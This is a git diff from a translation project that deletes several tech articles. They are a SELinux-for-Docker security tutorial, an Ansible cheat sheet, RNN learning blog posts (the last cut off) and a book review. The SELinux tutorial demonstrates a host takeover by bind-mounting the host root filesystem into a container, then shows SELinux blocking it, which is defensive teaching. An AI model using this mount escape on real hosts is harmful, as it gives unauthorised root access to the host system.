https://opensource.com/users/mcalizo) - -Secure your containers with SELinux -====== -Hack your system to understand why it's important to configure SELinux -to be your first line of container defense. -![Three closed doors][1] - -When things aren't working correctly in your Linux environment, the easiest thing to do is disable Security-Enhanced Linux ([SELinux][2]). Things suddenly begin to work, and you forget about it—but this is a common pitfall that means you've lost a very powerful security tool. - -Threats are rising alongside the rise of containers, microservices, and distributed architecture. This is due to an old, well-known issue: velocity. The advantage of containers is that they enable you to move fast, do more, and change quickly. This means container adoption has gone off the roof, but the speed it affords also means you will encounter more issues and vulnerabilities. This happens naturally when you're doing more things faster and quicker. - -### How to mitigate threats - -As Sun Tzu said, "The wise warrior avoids the battle." This quote really resonates when it comes to containers' basic defense. To avoid problems (battles), make sure that your container host is secure and that you can use SELinux as your first line of defense. - -SELinux is an open source project released in 2000 and integrated into the Linux kernel in 2003. According to [Red Hat's explainer][3], "SELinux is a security architecture for [Linux systems][4] that allows administrators to have more control over who can access the system. It was originally developed by the United States National Security Agency (NSA) as a series of patches to the [Linux kernel][5] using Linux Security Modules (LSM)." - -### Get started - -When you think about containers, the first thing that probably comes into mind is [Docker][6]. Docker started a container adoption revolution after it emerged in 2013. It is one of the main reasons that containers exploded in popularity, but as mentioned above, the high level of adoption increased users' vulnerability to security risks. - -Before you can secure your Docker containers with SELinux, you need to set some things up. - -#### Prerequisites: - - * CentOS 8/RHEL 8 installed and configured - * Docker CE installed and configured - * Two accounts created: root and non-root (`mcalizo` in the examples below) - - - -If you need to set up Docker on your RHEL 8/CentOS 8 server, you can follow these [instructions][7]. If you're running RHEL 8, you need to remove the pre-installed Podman and runc packages before beginning. - -First, make sure SELinux is enabled: - - -``` -[mcalizo@Rhel82 ~]$ sestatus -SELinux status:                 enabled -SELinuxfs mount:                /sys/fs/selinux -SELinux root directory:         /etc/selinux -Loaded policy name:             targeted -Current mode:                   enforcing -Mode from config file:          enforcing -Policy MLS status:              enabled -Policy deny_unknown status:     allowed -Memory protection checking:     actual (secure) -Max kernel policy version:      31 -[mcalizo@Rhel82 ~]$ -``` - -Then, verify your OS version and that Docker is running. Log in as root and run: - - -``` -[root@rhel82 ~]# cat /etc/redhat-release -Red Hat Enterprise Linux release 8.2 (Ootpa) -[root@rhel82 ~]# - -[root@rhel82 ~]# systemctl status docker -● docker.service - Docker Application Container Engine -   Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled) -   Active: active (running) since Wed 2020-10-28 19:10:14 EDT; 15s ago -     Docs: - Main PID: 30768 (dockerd) -    Tasks: 8 -   Memory: 39.0M -   CGroup: /system.slice/docker.service -           └─30768 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock - -Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.889602941-04:00" level=error msg="> -Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.903413613-04:00" level=warning msg> -Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.903427451-04:00" level=warning msg> -Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.903538271-04:00" level=info msg="L> -Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.132060506-04:00" level=info msg="D> -Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.308943088-04:00" level=info msg="L> -Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.319438549-04:00" level=info msg="D> -Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.319570298-04:00" level=info msg="D> -Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.333419209-04:00" level=info msg="A> -Oct 28 19:10:14 rhel82.home.labs.com systemd[1]: Started Docker Application Container Engine -``` - -Check your Docker version: - - -``` -[root@rhel82 ~]# docker --version -Docker version 19.03.13, build 4484c46d9d -``` - -### Hack your host - -One of the best ways to understand a problem is to experience it. So, I'll show you how easy it is to inject malicious code into a Docker host if your security is not set up properly. - -To be able to do something bad on the Docker host, the malicious non-root user (`mcalizo` in this tutorial) must be part of the group that can instantiate Docker containers. - -First, confirm what group the `mcalizo` user belongs to: - - -``` -[root@Rhel82 ~]# groups mcalizo -mcalizo : mcalizo -``` - -The output shows that `mcalizo` belongs only to its own group. This means `mcalizo` can't instantiate Docker containers and will get this error if it tries: - - -``` -[mcalizo@Rhel82 ~]$ docker run -it --rm centos:latest /bin/sh -docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.40/containers/create: dial unix /var/run/docker.sock: connect: permission denied. -See 'docker run --help'. -``` - -To allow `mcalizo` to instantiate the container, add the user to the `docker` group: - - -``` -[root@Rhel82 ~]# usermod -G docker -a mcalizo -[root@Rhel82 ~]# groups mcalizo -mcalizo : mcalizo docker -``` - -Next, deploy a `fedora:latest` container and log into the instantiated container to explore it: - - -``` -[mcalizo@Rhel82 ~]$ docker run -it --rm fedora:latest /bin/sh -Unable to find image 'fedora:latest' locally -latest: Pulling from library/fedora -ee7e89337106: Pull complete -Digest: sha256:b9ec86d36fca7b1d3de39cd7c258e8d90c377d312c21a7748071ce49069b8db4 -Status: Downloaded newer image for fedora:latest -sh-5.0# cat /etc/redhat-release -Fedora release 33 (Thirty Three) -``` - -While you're logged into the newly created container, you can see you are automatically logged in as root: - - -``` -sh-5.0# whoami -root -sh-5.0# -``` - -As `root` user, you can do anything in this container, which means you can exploit the container host and do a lot of damage. Because you can instantiate a container, you can do things to the host even if you are not part of the host's sudoers account. - -Exit the container you just created, and create a new container to demonstrate the exploit: - - -``` -[mcalizo@Rhel82 ~]$ docker run -it --rm -v /:/exploit fedora:latest /bin/bash -[root@131043f2e306 /]# -``` - -The [-v option][8] mounts the Docker host's `/` directory to the container under the `/exploit` directory: - - -``` -[root@131043f2e306 /]#ls exploit/ -bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var -``` - -Because it is mounted, you can do _anything_ on the Docker host. For example, you can delete files, edit specific configurations to harm the system, or even install a Trojan horse application or other malware to steal important information. - -### Why does this happen? - -You may be wondering why this is possible since SELinux is in enforcing mode. Dig deeper into SELinux to see where things went wrong. - -Verify that SELinux has a [Docker context][9]: - - -``` -[mcalizo@Rhel82 ~]$ ps -eZ | grep docker -system_u:system_r:container_runtime_t:s0 30768 ? 00:00:04 dockerd -[mcalizo@Rhel82 ~]$ -``` - -As expected, it does. This means SELinux manages the Docker daemon. Inspect the Docker daemon to see if SELinux is enabled by default: - - -``` -[mcalizo@Rhel82 ~]$ docker info | grep Security -A3 - Security Options: -  seccomp -   Profile: default - Kernel Version: 4.18.0-193.el8.x86_64 -``` - -SELinux is _not_ enabled by default. This is the problem! To fix it, enable SELinux to control and manage Docker by updating or creating the file `/etc/docker/daemon.json` as [documented here][10] (you must have root access to do this): - - -``` -[root@Rhel82 ~]# cat /etc/docker/daemon.json -{ -  "selinux-enabled": true -} -[root@Rhel82 ~]# -[root@Rhel82 ~]# systemctl restart docker -``` - -After creating or updating the file and restarting Docker, you should see that SELinux support is enabled in the Docker daemon: - - -``` -[root@Rhel82 ~]# systemctl restart docker -[mcalizo@Rhel82 root]$ docker info | grep Security -A3 - Security Options: -  seccomp -   Profile: default -  selinux -[mcalizo@Rhel82 root]$ -``` - -While it's still possible to mount a specific filesystem in your Docker host on your Docker container, updating or accessing the file is no longer allowed: - - -``` -[mcalizo@Rhel82 root]$ docker run -it --rm -v /:/exploit fedora:latest /bin/bash -[root@ecb5836da1f6 /]# touch /exploit/etc/shadow.sh -touch: cannot touch '/exploit/etc/shadow.sh': Permission denied -[root@ecb5836da1f6 /]# -``` - -### Learn more - -Your first line of defense in the container world depends on how strongly you set up your container hosts' operating system. There are numerous ways to implement Linux security, including options available on the market to augment your security posture. - -SELinux is an additional layer of security that is built into [Linux distributions][11] by default. To take advantage of it and protect your system against compromise, make sure SELinux remains on. - -If you want to learn more, see: - - * [How to install Docker CE on CentOS 8 / RH][7] - * [Docker security cheat sheet][12] - * [dockerd documentation][10] - * [Use volumes documentation][8] - * [What is SELinux?][3] - - - -Few things in the Linux world evoke a strong reaction like SELinux , the security enhancement for... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/selinux-containers - -作者:[Mike Calizo][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mcalizo -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/EDU_UnspokenBlockers_1110_A.png?itok=x8A9mqVA (Three closed doors) -[2]: https://en.wikipedia.org/wiki/Security-Enhanced_Linux -[3]: https://www.redhat.com/en/topics/linux/what-is-selinux -[4]: https://www.redhat.com/en/topics/linux/what-is-linux -[5]: https://www.redhat.com/en/topics/linux/what-is-the-linux-kernel -[6]: https://opensource.com/resources/what-docker -[7]: https://www.linuxtechi.com/install-docker-ce-centos-8-rhel-8/ -[8]: https://docs.docker.com/storage/volumes/ -[9]: https://docs.docker.com/engine/reference/commandline/context/ -[10]: https://docs.docker.com/engine/reference/commandline/dockerd/ -[11]: https://www.redhat.com/en/topics/linux/whats-the-best-linux-distro-for-you -[12]: https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html diff --git a/sources/tech/20201119 Automate your tasks with this Ansible cheat sheet.md b/sources/tech/20201119 Automate your tasks with this Ansible cheat sheet.md deleted file mode 100644 index 4ef4961a33..0000000000 --- a/sources/tech/20201119 Automate your tasks with this Ansible cheat sheet.md +++ /dev/null @@ -1,224 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Automate your tasks with this Ansible cheat sheet) -[#]: via: (https://opensource.com/article/20/11/ansible-cheat-sheet) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Automate your tasks with this Ansible cheat sheet -====== -Start automating your repetitive tasks by getting to know Ansible's -modules, YAML structure, and more. -![Cheat Sheet cover image][1] - -Ansible is one of the primary tools in the world of [automation and orchestration][2] because of its broad usefulness and flexibility. However, those same traits are the very reason it can be difficult to get started with [Ansible][3]. It isn't a graphical application, and yet it also isn't a scripting or programming language. But like a programming language, the answer to the common question of "what can I do with it?" is "everything," which makes it difficult to know where to begin doing _anything_. - -Here's how I view Ansible: It's an "engine" that uses other people's modules to accomplish complex tasks you describe in a special "pseudo-code" text format called YAML. This means you need to have three things to get started with Ansible: - - 1. Ansible - 2. A repetitive task you want to automate - 3. A basic understanding of YAML - - - -This article aims to help you get started with these three things. - -### Install Ansible - -Part of Ansible's widespread popularity can be attributed to how it lets you (the user) completely ignore what operating system (OS) you're targeting. Generally, you don't have to think about whether your Ansible task will be executed on Linux, macOS, Windows, or BSD. Ansible takes care of the messy platform-specific bits for you. - -However, to _run_ Ansible, you do need to have Ansible installed somewhere. The computer where Ansible is installed is called the _control node_. Any computer that Ansible targets is called a _host_. - -Only the control node needs to have Ansible installed. - -If you're on Linux, you can install Ansible from your software repository with your package manager. - -As yet, Windows is unable to serve as an Ansible control node, although the more progress it makes toward [POSIX][4], the better things look for it, so keep a close watch on Microsoft's [Windows Subsystem for Linux (WSL)][5] product. - -On macOS, you can use a third-party package manager like [Homebrew][6] or [MacPorts][7]. - -### Ansible modules - -Ansible is just an engine. The parts that do 90% of the work are [Ansible modules][8]. These modules are programmed by lots of different people all over the world. Some have become so popular that the Ansible team adopts them and helps maintain them. - -As a user, much of your interaction with Ansible is directed to its modules. Choosing a module is like choosing an app on your phone or computer: you have a task you want done, so you look for an Ansible module that claims to assist. - -Most modules are tied to specific applications. For instance, the [file][9] module helps create and manage files. The [authorized_key][10] module helps manage SSH keys, [Database][11] modules help control and manipulate databases, and so on. - -Part of deciding on a task to offload onto Ansible is finding the module that will help you accomplish it. Ansible plays run _tasks_, and tasks consist of Ansible keywords or Ansible modules. - -### YAML and Ansible - -The YAML text format is a highly structured way to feed instructions to an application, making it almost a form of code. Like a programming language, you must write YAML according to a specific set of syntax rules. A YAML file intended for Ansible is called a _playbook_, and it consists of one or more Ansible _plays_. - -An Ansible play, like YAML, has a very limited structure. There are two kinds of instructions: a _sequence_ and a _mapping_. An Ansible play, as with YAML, always starts with 3 dashes (`---`). - -#### Sequences - -A _sequence_ element is a list. For example, here's a list of penguin species in YAML: - - -``` -\--- -\- Emperor -\- Gentoo -\- Yellow-eyed -\---- -``` - -#### Mapping - -A _mapping_ element consists of two parts: a key and a value. A _key_ in Ansible is usually a keyword defined by an Ansible module, and the value is sometimes Boolean (`true` or `false`) or some choice of parameters defined by the module, or something arbitrary, a variable, depending on what's being set. - -Here's a simple mapping in YAML: - - -``` -\--- -\- Name: "A list of penguin species" -\---- -``` - -#### Sequences and mapping - -These two data types aren't mutually exclusive. - -You can put a sequence into a mapping. In such a case, the sequence is a value for a mapping's key. When placing a sequence into a mapping, you indent the sequence so that it is a "descendent" (or "child") of its key: - - -``` -\--- -\- Penguins: - - Emperor -  - Gentoo -  - Yellow-eyed -\---- -``` - -You can also place mappings in a sequence: - - -``` -\--- -\- Penguin: Emperor -\- Mammal: Gnu -\- Planar: Demon -\---- -``` - -Those are all the rules you need to be familiar with to write valid YAML. - -### Write an Ansible play - -For Ansible plays, whether you use a sequence or a mapping (or a mapping in a sequence, or a sequence in a mapping) is dictated by Ansible or the Ansible module you're using. The "language" of Ansible mostly speaks to configuration options to help you determine how and where your play will run. A quick reference to all Ansible keywords is available in the [Ansible playbook documentation][12]. - -From the list of keywords, you can create an opening for your play. You start with three dashes because that's how a YAML file always starts. Then you give your play a name in a mapping block. You must also define what hosts (computers) you want the play to run on, and how Ansible is meant to reach the computer. - -For this example, I set the host to `localhost`, so the play runs only on _this_ computer, and the connection type to `local` (the default is `ssh`): - - -``` -\--- -\- name: "My first Ansible play" -  hosts: localhost -  connection: local -\---- -``` - -Most of the YAML you'll write in a play is probably configuration options for a specific Ansible module. To find out what instructions a module expects from your Ansible play, refer to that module's documentation. [Modules maintained by Ansible][8] are documented on Ansible's website. - -For this example, I'll use the debug module. - -![Documentation for Ansible debugger module][13] - -On [debug's documentation page][14], three parameters are listed: - - * `msg` is an optional string to print to the terminal. - * `var` is an optional variable, interpreted as a string. This is mutually exclusive with `msg`, so you can use one or the other—not both. - * `verbosity` is an integer you can use to control how verbose this debugger is. Its default is 0, so there is no threshold to pass. - - - -It's a simple module, but the thing to look for is the YAML data type of each parameter. Can you determine from my description whether these parameters are a sequence (a list) or a mapping (a key and value pair)? Knowing what kind of YAML block to use in your play helps you write valid plays. - -Here's a simple "hello world" Ansible play: - - -``` -\--- -\- name: "My first Ansible play" -  hosts: localhost -  connection: local -  tasks: -    - name: "Print a greeting" -      debug: -        msg: "Hello world" -\---- -``` - -Notice that the play contains a `task`. This task is a mapping that contains a sequence of exactly one item. The item in this task is `name` (and its value), the module being used by the task, and a `msg` parameter (along with its value). These are all part of the task mapping, so they're indented to show inheritance. - -You can test this Ansible play by using the `ansible-playbook` command with the `--check` option: - - -``` -$ ansible-playbook --check hello.yaml -PLAY [My first Ansible play] ************************* - -TASK [Gathering Facts] ******************************* -ok: [localhost] - -TASK [Print a greeting] ****************************** -ok: [localhost] => { -    "msg": "Hello world" -} - -PLAY RECAP ******************************************* -localhost: ok=2  changed=0  unreachable=0  failed=0 -``` - -It's verbose, but you can debug the message in your "Print a greeting" task, right where you put it. - -### Testing modules - -Using a new Ansible module is like trying out a new Linux command. You read its documentation, study its syntax, and then try some tests. - -There are at least two other modules you could use to write a "hello world" play: [assert][15] and [meta][16]. Try reading through the documentation for these modules, and see if you can create a simple test play based on what you learned above. - -For further examples of how modules are used to get work done, visit [Ansible Galaxy][17], an open source repository of community-contributed plays. - -### For a quick reference of important Ansible commands, download our [Ansible cheat sheet][18]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/ansible-cheat-sheet - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coverimage_cheat_sheet.png?itok=lYkNKieP (Cheat Sheet cover image) -[2]: https://opensource.com/article/20/11/orchestration-vs-automation -[3]: https://opensource.com/resources/what-ansible -[4]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains -[5]: https://docs.microsoft.com/en-us/windows/wsl/install-win10 -[6]: https://opensource.com/article/20/6/homebrew-mac -[7]: https://opensource.com/article/20/11/macports -[8]: https://docs.ansible.com/ansible/2.8/modules/modules_by_category.html -[9]: https://docs.ansible.com/ansible/2.8/modules/file_module.html#file-module -[10]: https://docs.ansible.com/ansible/2.8/modules/authorized_key_module.html#authorized-key-module -[11]: https://docs.ansible.com/ansible/2.8/modules/list_of_database_modules.html -[12]: https://docs.ansible.com/ansible/latest/reference_appendices/playbooks_keywords.html -[13]: https://opensource.com/sites/default/files/screenshot_from_2020-11-13_20-44-15.png (Documentation for Ansible debugger module) -[14]: https://docs.ansible.com/ansible/2.8/modules/debug_module.html -[15]: https://docs.ansible.com/ansible/2.8/modules/assert_module.html -[16]: https://docs.ansible.com/ansible/2.8/modules/meta_module.html -[17]: https://galaxy.ansible.com/ -[18]: https://opensource.com/downloads/ansible-cheat-sheet diff --git a/sources/tech/20201119 Day 9- Generating a lot of nonsense with an RNN.md b/sources/tech/20201119 Day 9- Generating a lot of nonsense with an RNN.md deleted file mode 100644 index 5b6c7c22f6..0000000000 --- a/sources/tech/20201119 Day 9- Generating a lot of nonsense with an RNN.md +++ /dev/null @@ -1,151 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Day 9: Generating a lot of nonsense with an RNN) -[#]: via: (https://jvns.ca/blog/2020/11/19/day-9--generating-a-lot-of-nonsense-with-an-rnn/) -[#]: author: (Julia Evans https://jvns.ca/) - -Day 9: Generating a lot of nonsense with an RNN -====== - -Hello! On Monday I posted about [generating faces with sketch-rnn][1], which I did using a pre-trained RNN model. - -I want to train that model to genreate more complicated faces (which may or may not work!), but I decided that since I knew literally nothing about neural networks it would be good to start with something simpler: [this char-rnn model from Karpathy that generates text that sounds vaguely Shakespearean][2]. - -After spending some time playing with Tensorflow, I decided to use PyTorch with the [fast.ai][3] helper libraries because it’s what my friend Ray was using for his project. - -Here are some initial things I’ve learned about training neural networks. All of this is pretty disjointed and I still have no idea what I’m doing. - -### there are a lot of tensors - -All the data seems to be tensors! A 1-d tensor is a vector, a 2-d tensor is a matrix, and a 3-d tensor is, well, who knows. This is a little new but I have some vague intuition about tensor products from learning about quantum computing ten [years][4] ago so this seems okay. - -They seem not too bad to manipulate, like `tensor.flatten()` will flatten a multidimensional tensor into a vector. I still feel a bit uncertain about the exact order things get flattened in, I need to experiment & think it through. - -The word “dimension” for tensors is also used in a different way than I expected, like I’d usually think that the “dimension” of a 8x9 matrix is 72 (becuase that’s the dimension of the vector space of 8x9 matrices), but in Torch land the “dimension” of a 8x9 matrix seems to be 2. That seems fine though. - -### there are a lot of dimension mismatches - -I’ve spent a lot of hours over the last couple of days staring at error messages like - -``` -ValueError: Expected target size (77, 64) got torch.Size (77, 70) -``` - -Some reasons I’ve gotten errors like this so far - - * I tried to pass a 3-dimensional tensor to a loss function that wanted a 2-dimensional tensor - * I forgot to embed my input data (which is a bunch of class labels) into a higher dimensional space so that every number turns into a 64-dimensional vector - * I multiplied a vector by a matrix with the wrong dimensions - - - -Something that I find a bit confusing about the tensors and dimension mismatches is that a lot of the time you seem to be able to pass in both a 2-dimensional tensor and a 3-dimensional tensor to the same method. For example, if I have a 2x3 matrix, I can multiply that by a 3x4 tensor, or by a 3x4x89 tensor, or by a 3x92x12x238 tensor, or whatever. This corresponds to what I remember about tensors from quantum computing, but I find a bit harder to think about in terms of numbers in a matrix on a computer. - -I tweeted about this and a bunch of people agreed with me that they have also spent a bunch of time debugging dimension mismatches so at least I’m not alone :) - -### the cross entropy loss in pytorch isn’t the cross entropy - -A “loss function” is basically a function you use to check how similar 2 vectors are. Lower is better. - -Today I got pretty confused because I was trying to compute the cross entropy loss for two identical vectors, and the result wasn’t 0! I thought that the result was going to be 0, because the vectors were identical! - -It turns out that in PyTorch the “cross entropy loss” of x and y isn’t actually the [cross entropy][5] of x and y (which would be 0 if x and y are identical!), instead it’s `cross_entropy(softmax(x), y)` – you apply a “softmax” function to x first. - -### it goes a LOT faster with a GPU - -At some point I was training a model on a CPU, and then I switched to a GPU and every batch trained literally 10x faster. - -### colab is pretty useful - -I’ve been using Google’s [Colab][6], which seems to be a fork of Jupyter notebook. It comes with some free GPUs that you can use, which is nice. - -The main annoying thing I’ve run into about Colab is that they pretty aggressively kill your running notebooks if they’re idle to reduce resource usage. This is actually fine on its own (you can save your data to Google Drive and restore it!). - -BUT as far as I can tell, if I want to use the Google Drive to get my files, I need to reauthenticate the notebook to Google Drive every single time by clicking a link and pasting in an OAuth (or something) code. I don’t really understand why it can’t just authenticate me once and then have it work forever. - -### it’s bad if your training loss never goes down - -I’ve been having the same problem for most of yesterday and today, which is that I have a model and some training data, and when I try to train the model my training loss never improves, which measn that basically the model isn’t training. - -And then when I make predictions from the model, I get results like this: - -``` -eto e enaih eet codosueonites st tne esee ob nmnoesnrertieieeu ooe -``` - -which makes it seem like it’s learned _something_ – those letters are common letters in the English language, sure! It’s better than generating `zxisqqqqxw`, which is more like the results I’d expect if the network hadn’t learned anything at all. But it definitely hasn’t learned a lot. - -### some code that does not work - -If you’re interested in what some code for an RNN that DOES NOT WORK looks like, here’s [the code I’ve written so far][7] - -the neural network part looks like this: - -``` -class RNN(nn.Module): - def __init__(self): - super().__init__() - self.i2h = nn.Linear(nv, nh) # Wxh - self.h2h = nn.Linear(nh, nh) # Whh - self.h2o = nn.Linear(nh, nv) # Why - self.hidden = torch.zeros(1, nh).cuda() - - def forward(self, input): - x = self.i2h(torch.nn.functional.one_hot(input, num_classes=nv).type(torch.FloatTensor).cuda()) - y = self.h2h(self.hidden) - hidden = torch.tanh(y + x) - self.hidden = hidden.detach() - z = self.h2o(hidden) - return z -``` - -and it basically sets up a bunch of matrices that are meant to correspond to this code from Karpathy’s blog post: - -``` -def step(self, x): - # update the hidden state - self.h = np.tanh(np.dot(self.W_hh, self.h) + np.dot(self.W_xh, x)) - # compute the output vector - y = np.dot(self.W_hy, self.h) - return y -``` - -but unlike his code, it does not generate text that looks vaguely Shakespeare after I train it, it generates gibberish! Maybe tomorrow I will find out why. - -Here’s a snippet of code that samples from the model’s output probability vector using a “temperature” – at a very low temperature it just always picks the letter that the model thinks is most likely (which by the way right now in my case is LITERALLY ALWAYS A SPACE which is also a sign that something is wrong). At higher temperatures it might pick another likely letter. - -``` -temperature = 1 -prediction_vector = F.softmax(learn.model(x)[0]/temperature) -v.textify(torch.multinomial(prediction_vector, 1).flatten(), sep='') -``` - -### that’s all! - -As usual when I learn things I am mostly trying to do it without reading any books or watching any videos – there’s this whole video course from that seems pretty good, but for whatever reason I prefer to just bang my head against a problem I’m trying to solve until I get VERY CONFUSED and then resort to reading things that might help me understand what’s going on then. So that’s the plan, we’ll see how it goes. - -It’s been pretty fun so far, I know a bunch of things about loss functions that I didn’t know before at least, and now I kind of know what a softmax is! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/11/19/day-9--generating-a-lot-of-nonsense-with-an-rnn/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://lots-of-sketchrnn-faces.netlify.app/ -[2]: https://karpathy.github.io/2015/05/21/rnn-effectiveness/ -[3]: https://www.fast.ai/ -[4]: https://github.com/jvns/masters-thesis/ -[5]: https://en.wikipedia.org/wiki/Cross_entropy -[6]: https://colab.research.google.com/ -[7]: https://gist.github.com/jvns/ce24d85c9d645c32b0d552b69359979f diff --git a/sources/tech/20201119 The relationship between labor and open source.md b/sources/tech/20201119 The relationship between labor and open source.md deleted file mode 100644 index bd600b76fe..0000000000 --- a/sources/tech/20201119 The relationship between labor and open source.md +++ /dev/null @@ -1,51 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The relationship between labor and open source) -[#]: via: (https://opensource.com/article/20/11/working-public-review) -[#]: author: (Joshua Allen Holm https://opensource.com/users/holmja) - -The relationship between labor and open source -====== -Readers of all levels of involvement in open source will find value in -this informative and illustrative book. -![Stack of books for reading][1] - -The open source software ecosystem is a fascinating blend of personal passion projects and massive, collaborative corporate efforts. Sometimes there is even overlap when the passion projects are actually key components of the huge corporate projects or when a corporate project is abandoned by the original maintainers, but someone takes up the cause and makes it their personal passion project. Regardless of where an open source project falls on that spectrum, there is a lot of labor involved in the development and maintenance of open source projects. [_Working in Public: The Making and Maintenance of Open Source Software_][2] by Nadia Eghbal thoroughly examines the relationship between labor and open source. - -In addition to an introduction and conclusion, _Working in Public_ consists of five chapters split between two parts: "Part 1: How People Make" and "Part 2: How People Maintain." The first part covers "GitHub as a platform," "The Structure of an Open Source Project," and "Roles, Incentives, and Relationships." The second part explores "The Work Required by Software" and "Managing the Costs of Production." Each chapter deftly covers the topic at hand and provides copious footnotes and end-notes to support the information presented. - -** - -** - -** - -_![Book cover][3]_ - -_Working in Public_ begins with a brief overview of the history of open software development that covers the free software movement, the open source movement, and the modern, GitHub-centered version of open, which Eghbal notes is more focused on the practical aspects of open than philosophical aspects that are key parts of the free software and open source movements. The book provides a solid history of open source software development before transitioning to an examination of how things—and people—work in open source. There are many examples of the whys and the hows of working in open source, often including amusing analogies to make these complex topics easy to understand for readers who are not already enmeshed in open source. Eghbal’s writing manages to strike a balance between informative and entertaining. - -There is sometimes a tendency to treat coding as the only form of open source labor, but _Working in Public_ does not make that mistake. For example, there is an interesting discussion in the introduction about maintainers having to spend time dealing with minor pull requests instead of writing in-depth, substantive code of their own. Throughout the book, Eghbal explores labor in open source beyond just code. It provides valuable insights for readers of all levels and all manners of open source involvement—project maintainers, casual contributors, and users. - -The only flaw with _Working in Public_ is that it tries to serve as both an introduction to open source and an exploration of the labor involved in open source projects. This makes the book extremely approachable for readers with limited knowledge of open source, but that means that more experienced readers might find themselves skipping over lengthy passages that explain basic concepts. For example, half of the first full paragraph on page 12 is a parenthetical explanation of what software libraries are. The tendency to overexplain basic concepts does not distract from the overarching narrative too much, but it might turn some readers off before they get to the interesting parts. - -Overall, I really recommend picking up a copy of this book. It is enjoyable to read and does a good job of covering its topic, though there are issues brought up in some of the footnotes that are worthy of further exploration by the author or by other researchers. Even the parts of the book that overexplain basic concepts are interesting but, as noted above, may fail to capture the attention of readers who are already well versed in open source development. Minor issues aside, the book provides an engaging overview of the history of open source and an insightful examination of the labor involved in open source development. In short, _Working in Public_ is worth reading whether you are a maintainer, contributor, or user of open source. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/working-public-review - -作者:[Joshua Allen Holm][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/holmja -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/books_read_list_stack_study.png?itok=GZxb9OAv (Stack of books for reading) -[2]: https://www.amazon.com/dp/0578675862/ -[3]: https://opensource.com/sites/default/files/uploads/working_in_public.jpg (Book cover) diff --git a/sources/tech/20201120 Day 10- Training an RNN to count to three.md b/sources/tech/20201120 Day 10- Training an RNN to count to three.md deleted file mode 100644 index a8352615fb..0000000000 --- a/sources/tech/20201120 Day 10- Training an RNN to count to three.md +++ /dev/null @@ -1,56 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Day 10: Training an RNN to count to three) -[#]: via: (https://jvns.ca/blog/2020/11/20/day-10--training-an-rnn-to-count-to-three/) -[#]: author: (Julia Evans https://jvns.ca/) - -Day 10: Training an RNN to count to three -====== - -Yesterday I was trying to train an RNN to generate English that sounds kind of like Shakespeare. That was not working, so today I instead tried to do something MUCH simpler: train an RNN to generate sequences like - -``` -0 1 2 0 1 2 0 1 2 0 1 2 -``` - -and slightly more complicated sequences like - -``` -0 1 2 1 0 1 2 1 0 1 2 1 0 1 2 1 0 -``` - -I used (I think) the exact same RNN that I couldn’t get to work yesterday to generate English by training it on Shakespeare, so it was cool to see that I could at least use it for this much simpler task (memorize short sequences of numbers). - -### the jupyter notebook - -It’s late so I won’t explain all the code in this blog post, but here’s the PyTorch code I wrote to train the RNN to count to three. - - * Here it is as a [github gist][1] - * and [here it is on Colab][2] if you want to run it yourself - - - -In the gist there are a few experiments 